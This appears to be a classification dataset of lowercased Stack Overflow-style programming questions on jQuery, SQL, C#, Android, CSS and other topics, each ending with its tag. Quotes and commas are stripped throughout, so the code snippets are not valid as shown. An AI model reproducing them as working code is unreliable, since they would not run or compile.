jquery: how to select element with name+variable   i can t figure out... :-( how can i select an element with a name + variable (corresponding id of the note)    html:   <pre><code>&lt;div class= editable  id= tiny_12 &gt;blablabla&lt;/div&gt; &lt;input type= button  class= bouton_save_ajax  id= sauver_billet_html_12 &gt;  &lt;div class= editable  id= tiny_13 &gt;blablabla&lt;/div&gt; &lt;input type= button  class= bouton_save_ajax  id= sauver_billet_html_13 &gt;  &lt;div class= editable  id= tiny_14 &gt;blablabla&lt;/div&gt; &lt;input type= button  class= bouton_save_ajax  id= sauver_billet_html_14 &gt;  ... ... </code></pre>   and javascript (jquery):   <pre><code>$(document).ready(function () {      $( #sauver_billet_html_12 ).click(function (event) {          var bufferid = {};         bufferid[ html ] = $( #tiny_12 ).html();         // bufferid[ id ] = 12;          $.ajax({             type:  post               url:  ajax_save_post               data: bufferid              datatype:  html               success: function (data) {                 alert(event.target.id);             }         });     }); }); </code></pre>   thanks,jquery
how to launch remote windows desktop from asp.net web application  can anyone please suggest how to launch remote windows desktop in asp.net web application using html5 canvas tag and websockets.,.net
on.click event not firing on a simple code  the click event fires with  addeventlistener . the script is placed after all the code inside the body tag. what is that i am missing    fiddle link - <a href= https://jsfiddle.net/3280bw2l/3/  rel= nofollow noreferrer >https://jsfiddle.net/3280bw2l/3/</a>   <pre><code>&lt;body&gt;         &lt;nav&gt;             &lt;div class= container &gt;&lt;a class= logo &gt;timer&lt;/a&gt;             &lt;div class= icon &gt;&lt;a href=   id= bar  type= button &gt;&lt;i class= fas fa-bars &gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;                     &lt;ul class= menu  id= menu &gt;                         &lt;li&gt;&lt;a href=  &gt;home&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href=  &gt;about&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href=  &gt;services&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href=  &gt;pages&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href=  &gt;contact&lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;             &lt;/div&gt;         &lt;/nav&gt;     &lt;script type= text/javascript  src= js/script.js &gt;&lt;/script&gt;     &lt;/body&gt;     &lt;/html&gt;      var x = document.getelementbyid( bar );     var y = document.getelementbyid( menu );      document.getelementbyid( bar ).onclick = function (){         alert( working );     }      x.addeventlistener( click   function() {         alert( works );     }); </code></pre>,javascript
how to create simple addition in objective-c   i have a simple iphone project open in xcode. in the storyboard file i have a view controller with : 2 text fields 1 label 1 round rect button    what i am trying to do is the following: have the user enter any number in field a  then the same on field b.  then once the  submit  button has been pressed  i would like the app to add the two values.     so far this is the code that i have but i am currently stuck as i am getting an error on build.    my header file:    <pre><code>#import &lt;uikit/uikit.h&gt;    @interface addviewcontroller : uiviewcontroller    @property (copy nonatomic) nsstring *valuea;  @property (copy nonatomic) nsstring *valueb;    @end </code></pre>   my implementation file:   <pre><code>#import  addviewcontroller.h     @interface addviewcontroller ()  - (ibaction)submitbutton:(id)sender;  @property (weak  nonatomic) iboutlet uitextfield *numbera;  @property (weak  nonatomic) iboutlet uitextfield *numberb;  @property (weak  nonatomic) iboutlet uilabel *answerlabel;    @end    @implementation addviewcontroller    - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil  {      self = [super initwithnibname:nibnameornil bundle:nibbundleornil];      if (self) {          // custom initialization      }      return self;  }    - (void)viewdidload  {      [super viewdidload];       // do any additional setup after loading the view.  }    - (void)didreceivememorywarning  {      [super didreceivememorywarning];      // dispose of any resources that can be recreated.  }    - (ibaction)submitbutton:(id)sender {        self.valuea = self.numbera.text;      self.valueb = self.numberb.text;    // the following is where i am currently getting an error with xcode:  // xcode says : invalid operands to binary expression ( nsstring *  and  nsstring * )      nsstring * total = self.valuea + self.valueb;  }  @end </code></pre>   and this is a screen shot of my story board file:    <a href= http://i43.tinypic.com/352q98i.jpg  rel= nofollow >http://i43.tinypic.com/352q98i.jpg</a>    thank you in advance!,objective-c
price validation includes word  free  if users put 0 or words in price field  how do i make it so if users put the number <strong>0</strong> or type any words in my price:decimal field it registers it as the word <strong>free</strong>     as of now i just validate presence of price:   <pre><code>validates :price       :presence =&gt; true </code></pre>,ruby-on-rails
strange:two same code  one goes well  but the other showe error  i ve checked for many times <h1>two completely same coding but one goes well the other one doesn t work</h1>  <h2>error message</h2>   /users/kevin/rails101/app/views/groups/index.html.erb:21: syntax error  unexpected keyword_end  expecting  )   .freeze; end ^ /users/kevin/rails101/app/views/groups/index.html.erb:26: syntax error  unexpected keyword_ensure  expecting  )  /users/kevin/rails101/app/views/groups/index.html.erb:28: syntax error  unexpected keyword_end  expecting  )     <a href= http://i.stack.imgur.com/urhub.png  rel= nofollow >enter image description here</a>    here is the one showes error   <pre><code>&lt;div class= col-md-12 &gt;    &lt;div class= group &gt;     &lt;%= link_to( new group   new_group_path  class:  btn btn-primary pull-right ) %&gt;   &lt;/div&gt; &lt;table class= table table-hover &gt;   &lt;thead&gt;     &lt;tr&gt;       &lt;td&gt;#&lt;/td&gt;       &lt;td&gt;title&lt;/td&gt;     &lt;td&gt;description&lt;/td&gt;     &lt;/tr&gt;   &lt;/thead&gt;   &lt;tbody&gt;     &lt;% @groups.each do |group| %&gt;     &lt;tr&gt;       &lt;td&gt;#&lt;/td&gt;       &lt;td&gt;&lt;%= link_to(group.title  group_path(group)) %&gt;&lt;/td&gt;         &lt;td&gt;&lt;%= group.description %&gt; &lt;/td&gt;       &lt;td&gt;         &lt;%= link_to( edit   edit_group_path(group)  class:  btn btn-sm btn-default %&gt;         &lt;%= link_to( delete   group_path(group)  class:  btn btn-sm btn-default           method: :delete  data: {confirm:  are you sure  } )%&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;% end %&gt;   &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>   the other one goes well:   <pre><code>&lt;div class= col-md-12 &gt;   &lt;div class= group &gt;     &lt;%= link_to( new group   new_group_path  class:  btn btn-primary pull-right ) %&gt;   &lt;/div&gt;   &lt;table class= table table-hover &gt;     &lt;thead&gt;       &lt;tr&gt;         &lt;td&gt;#&lt;/td&gt;         &lt;td&gt;title&lt;/td&gt;         &lt;td&gt;description&lt;/td&gt;       &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;       &lt;% @groups.each do |group| %&gt;         &lt;tr&gt;           &lt;td&gt;#&lt;/td&gt;           &lt;td&gt;&lt;%= link_to(group.title  group_path(group)) %&gt;&lt;/td&gt;           &lt;td&gt;&lt;%= group.description %&gt;&lt;/td&gt;           &lt;td&gt;               &lt;%= link_to( edit   edit_group_path(group)  class:  btn btn-sm btn-default )%&gt;               &lt;%= link_to( delete   group_path(group)     class:  btn btn-sm btn-default                             method: :delete  data: { confirm:  are you sure   } )%&gt;           &lt;/td&gt;         &lt;/tr&gt;       &lt;% end %&gt;     &lt;/tbody&gt;   &lt;/table&gt; &lt;/div&gt; </code></pre>,ruby-on-rails
can t add reference to system.serviceprocess.dll  i am using system.serviceprocess.dll in my asp.net application. i added a reference and intellisense recognizes it. but when i build an application  there is no system.serviceprocess.dll in bin folder and application says it can t find a namespace. what may be wrong  can i use this dll in iis     this is what i get:   <pre><code> compilation error description: an error occurred during the compilation of a resource required to service this request. please review the following specific error details and modify your source code appropriately.  compiler error message: cs0234: the type or namespace name  serviceprocess  does not exist in the namespace  system  (are you missing an assembly reference )  source error:   line 5:  using system.diagnostics; line 6:  using system.linq; line 7:  using system.serviceprocess; line 8:  using system.web; line 9:  using system.web.ui; </code></pre>,asp.net
how to get roe%20 from %s%20   there is a way to get it .     <pre><code>&gt;&gt;&gt; name= roe  &gt;&gt;&gt; s1= %s  &gt;&gt;&gt; s2=s1 %name + %20  &gt;&gt;&gt; s2  roe%20  </code></pre>   can i change the following way to get it    <pre><code>&gt;&gt;&gt; name= roe  &gt;&gt;&gt; s1= %s%20  &gt;&gt;&gt; s2=s1 %name traceback (most recent call last):  file  &lt;stdin&gt;   line 1  in &lt;module&gt; valueerror: incomplete format </code></pre>   i want to keep <code>%20</code> in the s1 string and substitute <code>%s</code> with <code>roe</code>  is there another way to do,python
css - odd  zoomed in  background picture for mobile  i released my website and noticed that the  contact me  background picture in mobile users in zoomed in excessively. on the pc  it looks good  but in a mobile interface  it s another story.    <a href= http://www.mohanadarafe.io  rel= nofollow noreferrer >website</a>    <a href= https://gyazo.com/878854e80a0297547f5586f8fd795f8e  rel= nofollow noreferrer >zoomed in background</a>    css:   <pre><code>#contact{ background: url( ../img/contactbg.jpg ); background-size: cover; background-attachment: fixed; background-position:left; padding-top: 20px; padding-bottom: 20px; }  @media(max-width: 1024px) {       #contact{         background-position: 45%;         background-size: cover;       }  } </code></pre>,css
how to slice a string in python using a dictionary containing character positions   i have a dictionary containing the character positions of different fields in a string.  i d like to use that information to slice the string.  i m not really sure how to best explain this  but the example should make it clear:    input:   <pre><code>mappings = { name : (0 4)   job : (4 11)   color : (11  15)} data =  johnchemistblue  </code></pre>   desired output:   <pre><code>{ name :  john    job :  chemist    color :  blue } </code></pre>   please disregard the fact that jobs  colors and names obviously vary in character length.  i m parsing fixed-length fields but simplified it here for illustrative purposes.,python
comparing reflected types returns false  take the below code snippet...  this code takes two objects - an original object and the same object with some properties that might have changed - and cycles through each property returning a list of all changed properties with their old and new values.   <pre><code>    foreach (propertyinfo property in newproperties)     {         propertyinfo origproperty = origproperties.where(p =&gt; p.name == property.name).single();         object originalvalue = origproperty.getvalue(original);         object newvalue = property.getvalue(updated);          // this line always evaluates to true         if (convert.changetype(originalvalue  origproperty.propertytype) != convert.changetype(newvalue  property.propertytype))         {             dynamic modification = new expandoobject();             modification.property = property.name;             modification.oldvalue = originalvalue;             modification.newvalue = newvalue;             modifications.add(modification);         }     } </code></pre>   the line above always evaluates to true.  i ve also tried simply:   <pre><code>    if (originalvalue != newvalue) </code></pre>   but this also always evaluates to true.    for example  in the locals window  it shows for both properties {int32 id} and the value for both as 11. so  the condition should evaluate to false  but it doesn t.    any insights,c#
scroll view not working in drag and drop approach. why   if we add scroll view to storyboard it will visible on vc  but it not scrolled why  can any one please tell me the answer......,ios
decide when to use a particular .net feature  is there any book that shows actually when to use a particular .net feature     for example:     (1) remoting. in which scenario to use and what are the advantages and disadvantages.    (2) when to use a list and when a dictionary. which one is fast. etc.    <strong>edited</strong>    above are just examples. while developing which thing to use when  any book that teaches this. there may be many options  but which feature or class fits in which situation  that is what i want to know.,.net
select all values not present in sql  currently  my query selects all of the locations specified in my where clause and returns all locations with the provided zip codes in which we made a delivery.  my goal is to return all locations with the provided zip codes in which we did not make a delivery. there are thousands of zip codes in the database  so not is not an option as i need the result constrained to these zip codes. i feel like this is easily possible  but the solution is escaping me.   <pre><code>select ors.postdate  ors.name  ors.address  ors.city  ors.state  ors.zip  ors.driverid  w.firstname  w.lastname  ors.routeid   from tblorderroutestops ors with (nolock) inner join tblworker w with (nolock) on w.workerid = ors.driverid  --select all distinct zips from tblorderroutestops  then use where clause to filter them to specified locations. full outer join  (select distinct orss.zip from tblorderroutestops orss with (nolock)) as b on b.zip = ors.zip  where ors.postdate &gt;= dateadd(day datediff(day 1 getdate()) 0) and ors.postdate &lt; dateadd(day datediff(day 0 getdate()) 0) and ors.custid = 104105 and ors.stoptype = 1 and (ors.zip = 16635 or ors.zip = 25504 or ors.zip = 28401 or ors.zip = 28803 or ors.zip = 30901 or ors.zip = 31904 or ors.zip = 35801 or ors.zip = 37921 or ors.zip = 38801 or ors.zip = 39232 or ors.zip = 46825 or ors.zip = 49428 or ors.zip = 50265 or ors.zip = 54915 or ors.zip = 67214 or ors.zip = 72205 or ors.zip = 72764 or ors.zip = 72916 or ors.zip = 79605) </code></pre>,sql
n-m relationship unknow attribute error with create method  here are my migrations:   <pre><code>class createtests &lt; activerecord::migration   def change     create_table :tests do |t|       t.string :value        t.timestamps     end   end end  class createquestions &lt; activerecord::migration   def change     create_table :questions do |t|       t.string :title        t.timestamps     end   end end  class createquestionstests &lt; activerecord::migration   def change     create_table :questions_tests do |t|       t.integer :test_id       t.integer :question_id        t.timestamps     end   end end </code></pre>   now in the rails console i created a test object and a question object   <pre><code>test = test.create(value:  10 ) question = question.create(title:  blablabla ) </code></pre>   if now i do <code>test.questions.create(question_id: question.id)</code> i get the following error:    <code>activerecord::unknownattributeerror: unknown attribute: question_id</code>    how is that,ruby-on-rails
unused imports being removed android  in android studio  my unused imports are being immediately removed and i do not want this to happen. i accidentally enabled a recommendation and am not sure how to undo it. thanx for the assistance.,android
how do i create an offscreen uitextfield  how would i create an offscreen uitextfield  would it be:   <pre><code>thetextfield = [[uitextfield alloc] initwithframe:cgrectmake(x  y  280  44)]; </code></pre>   would i just have to set x and y at 1000  1000. for example or is there a better way,iphone
passing argument makes a pointer without cast   i m having an issue with compling the code.  i keep getting these errors.      c: 194 warning passing argument 3 of  matrix_column_subtract  makes pointer from integer without a cast      c: 12 note: expected  double**  but argument is type  int      c: 194 error too few arguments to function  matrix_column_subtract     i think i know what is going on i m calling matrix_column_multiply is a void and i need to be calling it a pointer pointer i think and i don t know how to chage that. if anyone has some idea on how i can get this to compile that would be highly appreciated!!     <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt;  #define debug 0 #define max_iter 10000  double *eigen (int n  double **a); void qr_decomp (int n  double **a  double **q  double **r);  void matrix_copy_column(double **msrc  int col1  double **mdst int col2  int rows); void matrix_column_subtract(double **m1  int c1  double **m2  int c2  int rows); void matrix_column_multiply(double **m  int c  double k  int rows);   int main() {      int i  n = 126;     double *eig  **am;     file *bininp  *txtout;      /* input code: reads bv  am in binary form from cgrad.bin */     if ( (bininp = fopen( cgrad.bin   r )) == null ) {         fprintf(stderr   cannot open matrix binary file input... exiting\n );         exit(-1);     }      am = (double**)malloc (n*sizeof(double*));     am[0] = (double*)malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         am[i] = am[0] + i*n;     }     for (i = 0; i &lt; n; i++) {         if (i==0) { /* read one extra line that is discarded (bv is still in bin       file) */             if (!fread(am[i]  sizeof(double)  n  bininp)) {                 fprintf(stderr   cannot read row am[%03d] of matrix...      exiting\n   i+1);                 exit(1);             }         }         if (!fread(am[i]  sizeof(double)  n  bininp)) {             fprintf(stderr   cannot read row am[%03d] of matrix... exiting\n    i+1);             exit(1);         }     }      if (fclose(bininp) == eof) {         fprintf(stderr   cannot close matrix binary file input... exiting\n );         exit(-1);     }      /* compute eigenvalues here using functions. return eigenvalues (as 1d    vector) to eig. */     if (debug) printf ( calling eigen\n );     eig = eigen (n  am);      /* output code: writes eig in text form to eigs.txt */      if ( (txtout = fopen( eigs.txt    w )) == null ) {         fprintf(stderr   cannot open matrix text file output... exiting\n );         exit(-1);     }     for (i = 0; i &lt; n; i++) {         fprintf (txtout   %18.14e    eig[i]);     }      if (fclose(txtout) == eof) {         fprintf(stderr   cannot close matrix text file input... exiting\n );         exit(-1);     }      return 0; }  double* eigen (int n  double **acur) {     double err = 1  eps = 1e-2;     double ndenom  nnumer  temp;     double *eig  **anex  **qsub  **rsub;     int i  j  k  iters = 1;      /* malloc memory for the three matricies */     anex = malloc (n*sizeof(double*));     anex[0] = malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         anex[i] = anex[0] + i*n;     }     qsub = malloc (n*sizeof(double*));     qsub[0] = malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         qsub[i] = qsub[0] + i*n;     }     rsub = malloc (n*sizeof(double*));     rsub[0] = malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         rsub[i] = rsub[0] + i*n;     }      /* malloc memory for the return eig vector */     eig  = malloc (n*sizeof(double));     for (i = 0; i &lt; n; i++) {         eig[i] = 0;     }      /* enter main iteration loop for eigenvalues */     while (err &gt; eps &amp;&amp; iters &lt; max_iter) {          /* qr decompose acur then find next iterate value in anex */         qr_decomp (n  acur  qsub  rsub);         // find next iterate value  put in anex.          /* determine relative error change  reset  old  iterate value. */         ndenom = 0;         nnumer = 0;         for (i = 0; i &lt; n; i++) {             for (j = 0; j &lt; n; j++) {                 temp = anex[i][j]-acur[i][j];                 ndenom += temp*temp;                 nnumer += anex[i][j]*anex[i][j];                  acur[i][j] = anex[i][j];             }         }         err = sqrt(ndenom)/sqrt(nnumer);          /* increment the iteration count and report error */         if (iters % 25 == 0) {             printf ( error at end of iteration %05d = %14.10f %%\n   iters    100*err);         }         ++iters;     }     printf ( error at end of iteration %05d = %14.10f\nconverged.\n   iters-1  err);      if (iters == max_iter) {         printf ( warning: max_iter iterations reached!...\n );     }      /* copy diagonal entries of acur into eig for return to main */     for (i=0; i&lt;n; i++) {         eig[i] = acur[i][i];     }     return eig; }  void qr_decomp (int n  double **adec  double **myq  double **myr)  {     int i  j  k; /* loop variables: this is all you should need! */     double **t  **s;     double r;      t = malloc (n*sizeof(double*));     t[0] = malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         t[i] = t[0] + i*n;     }      s = malloc (n*sizeof(double*));     s[0] = malloc (n*n*sizeof(double));     for (i = 1; i &lt; n; ++i) {         s[i] = s[0] + i*n;     }      /* main loop for decomposition */     for (i=0; i&lt;n; i++) {         /* column i of q is initially column i of a */          matrix_copy_column(adec i myq i n);          /* for j &lt; i-1  perform the dot product between the j row of q and the         i row of a to determine the r(j i) value  then insure the q i column         is orthogonal to all other q columns by subtracting existing q columns         from it. */          for (j = 0; j &lt; i; j++) {              //r[j i] = qj^t * ui             matrix_copy_column(myq j t 0 n);             matrix_copy_column(adec i s 0 n);              for (k=0; k&lt;n; k++) {                 r += t[k][0] * s[k][0];             }             /* determine the r diagonal as the magnitude of the q column  then             normalize the q column (make it a unit vector). */              //qi = ui              myr[j][i] = r;              // something wrong here.             // there is one parameter missing  as matrix_column_subtract needs 5 parameters and             // only 4 are given.             // also  matrix_column_multiply is defined as returning a void  whereas the   3rd parameter             // of matrix_column_subtract should be a double **              matrix_column_subtract(myq i matrix_column_multiply(t 0 r n) j);          }     } }   /* copies a matrix column from msrc at column col1 to mdst at column col2 */ void matrix_copy_column(double **msrc  int col1  double **mdst int col2  int rows) {     int i = 0;     for (i=0; i&lt;rows; i++) {         mdst[i][col2] = msrc[i][col1];     } }  /* subtracts m2 s column c2 from m1 s column c1 */ void matrix_column_subtract(double **m1  int c1  double **m2  int c2  int rows) {     int i = 0;     for (i=0; i&lt;rows; i++) {         m1[i][c1] -= m2[i][c2];     }     /*return m1;*/ }  void matrix_column_multiply(double **m  int c  double k  int rows) {     int i = 0;     for (i=0; i&lt;rows; i++) {         m[i][c] *= k;     }     /*return m;*/ } </code></pre>,c
iphone general  hai   when i see sales and trend report throughitunes connect for my application  it shows fileds like  artist  title . units etc... does units  represents no of downloads of my application in particular country  how can i know.how many times my applications have been downloadad,iphone
informix outer joins  i have a query which is below. this query should return multiple rows but only returns two as some rows dont have a joining row in the status table.can anyone help me to fix this query so that it counts all rows even if there are no joining rows in the status table.    <pre><code>select count(h.h1_id) from h1 h  owner o  ent e  status s where o.owner_id = h.owner_id and e.enterprise_id = h.enterprise_id and h.herd_id=s.o_id and s.o_type= h  and h.code =  qwe  and s.group_code!= 123  and s.status_code!= abc  </code></pre>   thanks!,sql
renaming file extensions in android  i am able to change file extensions  for example  from  .mp4  to  .xmp4  but instead of changing extension  i simply want to add a  .  before a file name for example  <strong>mikey.jpg</strong>  to  <strong>.mikey.jpg</strong> . how do i do that    <pre><code>public static final string[] target_extensions = {  mp4    mp3    mp55    other  };  public void walkdir(file dir) {     file listfile[] = dir.listfiles();     if (listfile != null) {         for (int i = 0; i &lt; listfile.length; i++) {             if (listfile[i].isdirectory()) {                 walkdir(listfile[i]);             } else {                 string fpath = listfile[i].getpath();                  for (string ext : target_extensions) {                     fpath = fpath.replace( .  + ext   .x  + ext);                 }                  listfile[i].renameto(new file(fpath));             }         }     } } </code></pre>   here is the full code   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      view = (linearlayout) findviewbyid(r.id.view);      // getting sdcard root path     file dir = new file(environment.getexternalstoragedirectory()             .getabsolutepath());     walkdir(dir); }  public static final string[] target_extensions = {  mp4    mp3    avi    other  };  public void walkdir(file dir) {     file listfile[] = dir.listfiles();     if (listfile != null) {         for (int i = 0; i &lt; listfile.length; i++) {             if (listfile[i].isdirectory()) {                 walkdir(listfile[i]);             } else {                 string fpath = listfile[i].getpath();                  for (string ext : target_extensions) {                     fpath = fpath.replace( .  + ext   .x  + ext);                 }                  listfile[i].renameto(new file(fpath));             }         }     } } </code></pre>   },android
indication while site is loaded in iframe  on my aspx page i am showing other webiste in a iframe  in fact i am posting a form to other domain and target of that form is iframe. it takes little while by the time page is shown in iframe. so i would like to show some indication that page is loading and take it out when page ( from other domain) is loaded in inframe. how do i do that  i tried onload event of the ifrmae but it doesn t work exactly the message goes away just before loading the page. thanks!    this is my code. on button click event i post the following form ( action is on the other domain)   <pre><code>&lt;form id= frmsso  action= &lt;%=formaction%&gt;  method= post  name= frmsso  target= iframe1  onload= hideprogress()  &gt;     &lt;input type= hidden  name= target  value= &lt;% = formtarget%&gt;  /&gt;     &lt;input type= hidden  name= encoding  value= b64  /&gt;     &lt;input type= hidden  name= samlresponse  value= &lt;% = resp%&gt;  /&gt;               &lt;/form&gt; </code></pre>,.net
javascript - dynamic function call  how to get below return value     <pre><code>var data = sql.execute({query: select * from profile_user }).then(function (result){              return result; // actual result = [{id:1  name: mr. test }]          }  function( err ) {         console.log(  something bad happened:   err ); });  console.log( received data +json.stringify(data)); </code></pre>   result in my console : <code>received data{ _handler :{ resolved :false}}</code>,javascript
sql select query : change column name  i have the following simple select statement:   <pre><code>select top (100) percent column_name from information_schema.columns where         (table_name =  raw_testb ) and (ordinal_position &gt;=  2 ) or (table_name =  raw_testc ) and (ordinal_position &gt;=  5 ) and  (column_name =  1hr_avg  or column_name =  ma_o7_1hr  or column_name =  am_te_avg  or order by table_name desc </code></pre>   question: how can i change the result  ma_o7_1hr  in column_name =  ma_o7_1hr  into ma_09_4hr,sql
converting long value representing color to argb color code in c#  i am trying to convert a long number from a csv file (which defines color) to argb color  code. using the following code (which i got from stackoverflow)    <pre><code>var argbval = convert.toint32(((datarowview)this.dgvdisplayflags.rows[i].cells[3].value )[ color ]);  dgvdisplayflags.rows[i].cells[3].style.backcolor = color.fromargb(argbval); </code></pre>   however it is not working. showing an exception  unable to cast object of type  system.string  to type  system.data.datarowview  .    can any one help me to resolve this issue,c#
weird behaviour of img tag  i have an img element on my page. i set the height and width to 100% so img tag should cover the page. however i have some space at the end of the image    please see here: <a href= http://kekor.hostzi.com/  rel= nofollow >http://kekor.hostzi.com/</a>    dev tools screenshot : <a href= http://i.imgur.com/0tkkddv.jpg  rel= nofollow >http://i.imgur.com/0tkkddv.jpg</a>    here is the code   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;  &lt;title&gt;&lt;/title&gt; &lt;style type= text/css &gt;     * {margin: 0; padding: 0;}     .balotelli { width: 100%; height: 100% }     body {background-color: red; height: 100%}     html {height: 100%}  &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;img class= balotelli  src= balotelli.jpg  alt= ss  /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
read from csv file to list of objects  i need to read this csv file and convert it to <code>list&lt;vehicle&gt;</code> of objects (cars and bicycles)  first row must be ignored and 3rd value is type of object:   <pre class= lang-none prettyprint-override ><code>name price typeofvehicle horsepower numberofpedals audi 100000 car 500  bmw 20000 car 300 abici 1000 bicycle  2 atala 2000 bicycle  2 </code></pre>   my code so far:   <pre><code>abstract class vehicle     {         public string name { get; set; }         public int price { get; set; }     }      class car : vehicle     {         public int horsepower { get; set; }     }      class bicycle : vehicle     {         public int numberofpedals { get; set; }     }      static class offers     {         public  list&lt;vehicle&gt; itemlist = new list&lt;vehicle&gt;();         public static void readfromfile()         {             var lines = system.io.file.readalllines( c:\\offers.csv );              foreach (string item in lines)             {                 var values = item.split(   );                 //need to check which type of vehicle is it                 if (values[2] ==  car )                 {                     itemlist.add(new car()                     {                         name = values[0]                          price = int.parse(values[1])                          horsepower = int.parse(values[3])                     });                 }                 else if (values[2] ==  bicycle )                 {                     itemlist.add(new bicycle()                     {                         name = values[0]                          price = int.parse(values[1])                          numberofpedals = int.parse(values[3])                     });                 }              }         }     } </code></pre>   i want to read from csv file  when reading it i need to check for each line if 3rd value is car or bicycle. if it is a car then i make car object (and give it all values to properties) and put it in the list of vehicles and same for bicycle.    i m getting this error for <code>itemlist</code>:    <blockquote>    an object reference is required for the nonstatic field  offers.itemlist  </blockquote>   <strong>final solution:</strong>   <pre><code>abstract class vehicle     {         public string name { get; set; }         public int price { get; set; }     }      class car : vehicle     {         public int horsepower { get; set; }     }      class bicycle : vehicle     {         public int numberofpedals { get; set; }     }      static class offers     {         public static list&lt;vehicle&gt; itemlist = new list&lt;vehicle&gt;();         public static void readfromfile()         {             var lines = system.io.file.readalllines( c:\\offers.csv ).skip(1).takewhile(t =&gt; t != null);              foreach (string item in lines)             {                 var values = item.split(   );                 //need to check which type of vehicle is it                 if (values[2] ==  car )                 {                     itemlist.add(new car()                     {                         name = values[0]                          price = int.parse(values[1])                          horsepower = int.parse(values[3])                     });                 }                 else if (values[2] ==  bicycle )                 {                     itemlist.add(new bicycle()                     {                         name = values[0]                          price = int.parse(values[1])                          numberofpedals = int.parse(values[3])                     });                 }              }         }     } </code></pre>,c#
how do i programmatically put line breaks into a textarea  i am using a textarea field to display the status of a form submission. the form itself allows the user to delete one or more images.    currently the textarea is showing:<br> <strong>1234.pdf has been deleted. 5678.pdf has been deleted.</strong> (no line-breaks)    i d like it to look like:<br> <strong>1234.pdf has been deleted.<br> 5678.pdf has been deleted.</strong>    i ve tried putting in <code>&lt;br/&gt;</code> (which then shows the <code>&lt;br/&gt;</code> in the text  but doesn t cause a line break) and i ve tried environment.newline  which seems to get ignored and ends up showing the first example above.    what am i doing wrong,html
is serialization the same as getbytes   java provides a mechanism  called object serialization where an object can be represented as a sequence of bytes.    found this on google. i use .net to send packets using a socket connection. i use <code>encoding.default.getbytes()</code>.    serialization is confusing  what is the difference of it to getbytes,.net
holdup execution of server  show a confirm box  resume the rest of code according to the response from confirm box  i have a login page. on clicking the login button  a post back is done  and authentication is done after fetching the results from db(sql server). if the flag for deactivate is true  then the code execution should halt and a confirm box needs to be shown to the user(client)  and the rest of the code should resume execution depending on the response from confirm box. please help.    the c# code is :    <pre><code>    if (dt.rows[0][ isdeleted ].tostring() ==  true )     {       page.clientscript.registerstartupscript(this.gettype()   callmyfunction    confirm()   true);                         string confirmvalue = request.form[ confirm_value ];                             if (confirmvalue ==  yes )                         {                             string registerquery =  update [user] set isdeleted=0 where id =    + session[ userid ].tostring() +    ;                             dbclass.connectdatabasetoinsert(registerquery);                             this.page.clientscript.registerstartupscript(this.gettype()   alert    alert( your account has been reactivated succesfully!! )   true);                             boolreturnvalue = true;                         }                         else {                         this.page.clientscript.registerstartupscript(this.gettype()   alert    alert( your account remains deactivated!! )   true);                         return false;                     } </code></pre>   the javascript is :   <pre><code>&lt;script type= text/javascript &gt;         function confirm() {             var confirm_value = document.createelement( input );             confirm_value.type =  hidden ;             confirm_value.name =  confirm_value ;             if (confirm( your account is deactivated. do you want to reactivate your account and continue  )) {                 confirm_value.value =  yes ;             } else {                 confirm_value.value =  no ;             }             document.forms[0].appendchild(confirm_value);         }     &lt;/script&gt; </code></pre>,.net
sql count of hours by 2 tables in 1 query  i have 2 tables a and b. table a has id and type of ticket. table b has the same id and hours to ticket. <br>   <pre><code>table a -id -type </code></pre>   <br>   <pre><code>table b -sameid -hours </code></pre>   i need to get hours by type in one query without declare. example:   <pre><code>type1 : 12 type2 : 32  ... </code></pre>,sql
css: style affects tag outside intended selector  apologies if the title is a little confusing. this is what i mean:    i have the following markup:   <pre><code>&lt;ul class= cv-section &gt;     &lt;li&gt;         &lt;h2&gt;section&lt;/h2&gt;         &lt;p&gt;lorem ipsum dolor sit amet...&lt;/p&gt;     &lt;/li&gt;     ... </code></pre>   i have the following style:   <pre><code>.cv-section h1 h2 h3 h4 h5 {     text-align: left;     color: red; /*for debugging*/ } </code></pre>   however  the style is taking effect on the following h2 tag:   <pre><code>&lt;div class= content-wrapper &gt;     &lt;article&gt;         &lt;h1&gt;about title&lt;/h1&gt;         &lt;p class= lede &gt;lorem ipsum dolor sit amet.&lt;/p&gt;         &lt;h2&gt;about title h2&lt;/h2&gt;         &lt;p&gt;lorem ipsum dolor sit amet.&lt;/p&gt;     &lt;/article&gt; &lt;/div&gt; </code></pre>   the css selector specifies that the headers be descendants of .cv-section but the h2 tag within article is red and aligns to the left despite there not be a single occurrence of .cv-section on the page.    what am i doing wrong     (tested in chrome and firefox.),css
when multiplying two integers and storing the result in a floating point variable  can the result flow over   i ve always been wondering how code like this actually works:   <pre><code>int a = 10; int b = 20; double c = a * b; </code></pre>   what if the integers are so large that <code>a*b</code> is larger than the maximum value that can be stored in a variable of the integer type. will the compiler notice that the target type can hold larger values and convert the values to <code>double</code> first  or will the multiplication just flow over / wrap around,c++
